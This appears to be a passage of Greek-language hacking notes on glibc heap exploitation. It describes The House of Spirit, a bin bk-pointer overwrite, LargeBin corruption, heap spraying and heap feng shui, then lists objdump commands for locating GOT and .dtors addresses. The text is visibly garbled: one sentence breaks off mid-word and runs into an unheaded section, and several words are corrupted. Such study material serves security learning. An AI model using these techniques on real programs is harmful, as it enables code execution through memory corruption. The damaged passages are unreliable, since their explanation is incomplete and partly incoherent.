Επιπλέον, στο **av->system\_mem** (1484bytes πάνω από τη θέση στη στοίβα) θα υπάρχει αρκετό σκουπίδι που θα μας επιτρέψει να παρακάμψουμε τον έλεγχο που πραγματοποιείται.
|
|||
|
|
|||
|
Επιπλέον, πρέπει να ισχύει ότι το συνεχόμενο κομμάτι που απελευθερώνεται πρέπει να είναι μεγαλύτερο από 8 -> Δεδομένου ότι είπαμε ότι το μέγεθος του κομματιού που απελευθερώνεται είναι 16, σε αυτό το ψεύτικο κομμάτι απλά πρέπει να βάλουμε ένα μέγεθος μεγαλύτερο από 8 (καθώς επιπλέον το shellcode θα βρίσκεται στο κομμάτι που απελευθερώνεται, θα πρέπει να βάλουμε στην αρχή ένα jmp που θα πέσει σε nops που ακολουθούν μετά το πεδίο size του νέου ψεύτικου κομματιού).
|
|||
|
|
|||
|
**The House of Spirit**
|
|||
|
|
|||
|
Σε αυτήν την περίπτωση, αναζητούμε ένα δείκτη σε ένα malloc που μπορεί να τροποποιηθεί από τον επιτιθέμενο (π.χ., ο δείκτης να βρίσκεται στη στοίβα κάτω από ένα πιθανό overflow σε μια μεταβλητή).
|
|||
|
|
|||
|
Έτσι, θα μπορούσαμε να κατευθύνουμε αυτόν τον δείκτη όπου θέλαμε. Ωστόσο, όχι οποιαδήποτε θέση είναι έγκυρη, το μέγεθος του Ϩεύτικου κομματιού πρέπει να είναι μικρότερο από το av->max\_fast και πιο συγκεκριμένα ίσο με το μέγεθος που ζητείται σε μια μελλοντική κλήση στο malloc()+8. Γι' αυτό, αν γνωρίζουμε ότι μετά από αυτόν τον ευάλωτο δείκτη καλείται το malloc(40), το μέγεθος του Ϩεύτικου κομματιού πρέπει να είναι ίσο με 48.
|
|||
|
|
|||
|
Αν για παράδειγμα το πρόγραμμα ρωτάει τον χρήστη για έναν αριθμό, θα μπορούσαμε να εισάγουμε 48 και να κατευθύνουμε τον τροποποιήσιμο δείκτη του malloc στα επόμενα 4bytes (που θα μπορούσαν να ανήκουν στο EBP με τύχη, έτσι το 48 μένει πίσω, σαν να ήταν η κεφαλή size). Επιπλέον, η διεύθυνση ptr-4+48 πρέπει να πληροί αρκετές προϋποθέσεις (σε αυτήν την περίπτωση ptr=EBP), δηλαδή, 8 < ptr-4+48 < av->system\_mem.
|
|||
|
|
|||
|
Αν αυτό πληροίται, όταν κληθεί το επόμενο malloc που είπαμε ότι είναι malloc(40), θα του ανατεθεί ως διεύθυνση η διεύθυνση του EBP. Αν ο επιτιθέμενος μπορεί επίσης να ελέγξει τι γράφεται σε αυτό το malloc μπορεί να υπερεπικαλύψει τόσο το EBP όσο και το EIP με τη διεύθυνση που θέλει.
|
|||
|
|
|||
|
Αυτό πιστεύω ότι είναι επειδή έτσι όταν απελευθερωθεί free() θα αποθηκεύσει ότι στη διεύθυνση που δείχν
|
|||
|
Αν υπάρχει ένα κομμάτι στον bin με τον κατάλληλο μέγεθος που ζητείται, τότε επιστρέφεται αυτό μετά την αποσύνδεσή του:
|
|||
|
|
|||
|
bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μοναδική πληροφορία που μπορούμε να τροποποιήσουμε.
|
|||
|
|
|||
|
bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στο stack στο επόμενο κομμάτι που έχει κρατηθεί, τότε θα δοθεί αυτή η διεύθυνση.
|
|||
|
|
|||
|
bck->fd = bin; Κλείνει η λίστα με το να δείχνει σε αυτό το bin.
|
|||
|
|
|||
|
Απαιτείται:
|
|||
|
|
|||
|
Να κρατηθούν δύο malloc, έτσι ώστε να μπορεί να γίνει overflow στο πρώτο μετά την απελευθέρωση του δεύτερου και να έχει εισαχθεί στον bin του (δηλαδή να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν το overflow)
|
|||
|
|
|||
|
Το malloc που κρατείται και στο οποίο δίνεται η διεύθυνση που επιλέγει ο επιτιθέμενος να ελέγχεται από τον επιτιθέμενο.
|
|||
|
|
|||
|
Ο στόχος είναι ο εξής, αν μπορούμε να κάνουμε ένα overflow σε ένα heap που έχει κάτω του ένα κομμάτι που έχει ήδη απελευθερωθεί και βρίσκεται στον bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Αν τροποποιήσουμε τον δείκτη bk και αυτό το κομμάτι γίνει το πρώτο στη λίστα του bin και κρατηθεί, τότε ο bin θα παραπλανηθεί και θα του λέμε ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) βρίσκεται στην ψευδή διεύθυνση που έχουμε θέσει (στο stack ή στο GOT για παράδειγμα). Έτσι, αν κρατηθεί ξανά ένα άλλο κομμάτι και ο επιτιθέμενος έχει δικαιώματα σε αυτό, θα δοθεί ένα κομμάτι στην επιθυμητή θέση και θα μπορεί να γράψει εκεί.
|
|||
|
|
|||
|
Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στον bin του.
|
|||
|
|
|||
|
Μόλις βρεθεί στον bin του, είναι η στιγμή να του τροποποιηθεί ο δείκτης bk μέσω του overflow ώστε να δείχνει στη διεύθυνση που θέλουμε να αντικαταστήσουμε.
|
|||
|
|
|||
|
Έτσι, ο bin θα πρέπει να περιμένει να κληθεί η malloc() αρκετές φορές ώστε να χρησιμοποιηθεί ξανά το τροποποιημένο bin και να παραπλανηθεί ο bin πιστεύοντας ότι το επόμενο κομμάτι βρίσκεται στην ψευδή διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει.
|
|||
|
|
|||
|
Για να εκτελεστεί η ευπάθεια το συντομότερο δυνατόν, ιδανικά θα ήταν: Κράτηση του ευάθροτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός κομματιού μεγαλύτερου από αυτό που θα τροποποιηθεί, τροποποίηση του κομματιού (ευπάθεια), κράτηση ενός κομματιού με τον ίδιο μέγεθος με το ευάθροτο κομμάτι και κράτηση ενός δεύτερου κομματιού με τον ίδιο μέγεθος και αυτό θα είναι αυτό που θα δείχνει στην επιλεγμένη διεύθυνση.
|
|||
|
|
|||
|
Για να προστατευτεί αυτή η επίθεση χρησιμοποιείται ο τυπικός έλεγχος ότι το κομμάτι "δεν" είναι ψευδές: ελέγχεται αν το bck->fd δείχνει στον victim. Δηλαδή, στην περίπτωσή μας, αν ο δείκτης fd του ψευδοκομματιού που δείχνει στο stack δείχνει στον victim. Για να παρακάμψει αυτήν την προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει κάπως (πιθανότατα μέσω του stack) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι, θα φαίνεται ότι είναι ένα αληθινό κομμάτι.
|
|||
|
|
|||
|
**Διαφθορά LargeBin**
|
|||
|
|
|||
|
Απαιτούνται τα ίδια προαπαιτούμενα με πριν και κάποια παραπάνω, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512.
|
|||
|
|
|||
|
Η επίθεση είναι όπως η προηγούμενη, δηλαδή πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις στην malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το size - nb να είναι < MINSIZE.
|
|||
|
|
|||
|
Για παράδειγμα, θα πρέπει να οριστεί το size σε 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική επειδή συγκρίνεται με έναν unsigned)
|
|||
|
|
|||
|
Επιπλέον, έχει εισαχθεί ένα patch για να γίνει ακόμη πιο περίπλοκο.
|
|||
|
|
|||
|
**Ψεκασμός Heap**
|
|||
|
|
|||
|
Βασικά αποτελείται από την κράτηση της μέγιστης δυνατής μνήμης για heaps και την γέμισή τους με ένα στρώμα nops που τελειώνει με μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Έτσι, θα προσπαθήσουμε να πηδήξουμε στη διεύθυνση 0x0c0c0c0c, έτσι αν κάποια διεύθυνση που θα υπεργραφεί είναι αυτή που θα κληθεί με αυτό το στρώμα, τότε θα πηδήξει εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργράφεται κάποιος δείκτης και να πηδήξουμε στο 0x0c0c0c0c ελπίζοντας ότι εκεί θα υπάρχουν nops.
|
|||
|
|
|||
|
**Σχεδιασμός Heap Feng**
|
|||
|
|
|||
|
Αποτελείται από την στερέωση της μνήμης με την κράτηση και απελευθέρωση κομματιών μνήμης έτσι ώστε να υπάρχουν κρατημένα κομμάτια μεταξύ ελεύθερων κομματιών. Το buffer που θα υπερχειλιστεί θα βρίσκεται σε ένα από αυτά τα κομμάτια.
|
|||
|
|
|||
|
**objdump -d εκτελέσιμο** —> Διασυναρμολόγηση συναρτήσεων\
|
|||
|
**objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ** —> Λήψη διεύθυνσης συνάρτησης\
|
|||
|
**objdump -d -Mintel ./shellcodeout** —> Για να δούμε αν πράγματι είναι η shellcode μας και να βγάλουμε τα OpCodes\
|
|||
|
**objdump -t ./exec | grep varBss** —> Πίνακας συμβόλων, για να βγάλουμε τη διεύθυνση μεταβλητών και συναρτήσεων\
|
|||
|
**objdump -TR ./exec | grep exit(func lib)** —> Για να βγάλουμε τη διεύθυνση συναρτήσεων βιβλιοθηκών (GOT)\
|
|||
|
**objdump -d ./exec | grep funcCode**\
|
|||
|
**objdump -s -j .dtors /exec**\
|
|||
|
**objdump -s -j .got ./exec**\
|
|||
|
**objdump -t --dynamic-relo ./exec | grep puts** —> Βγάζει τη διεύθυνση του puts που θα υπεργραφεί στο GOT\
|
|||
|
**objdump -D ./exec** —>
|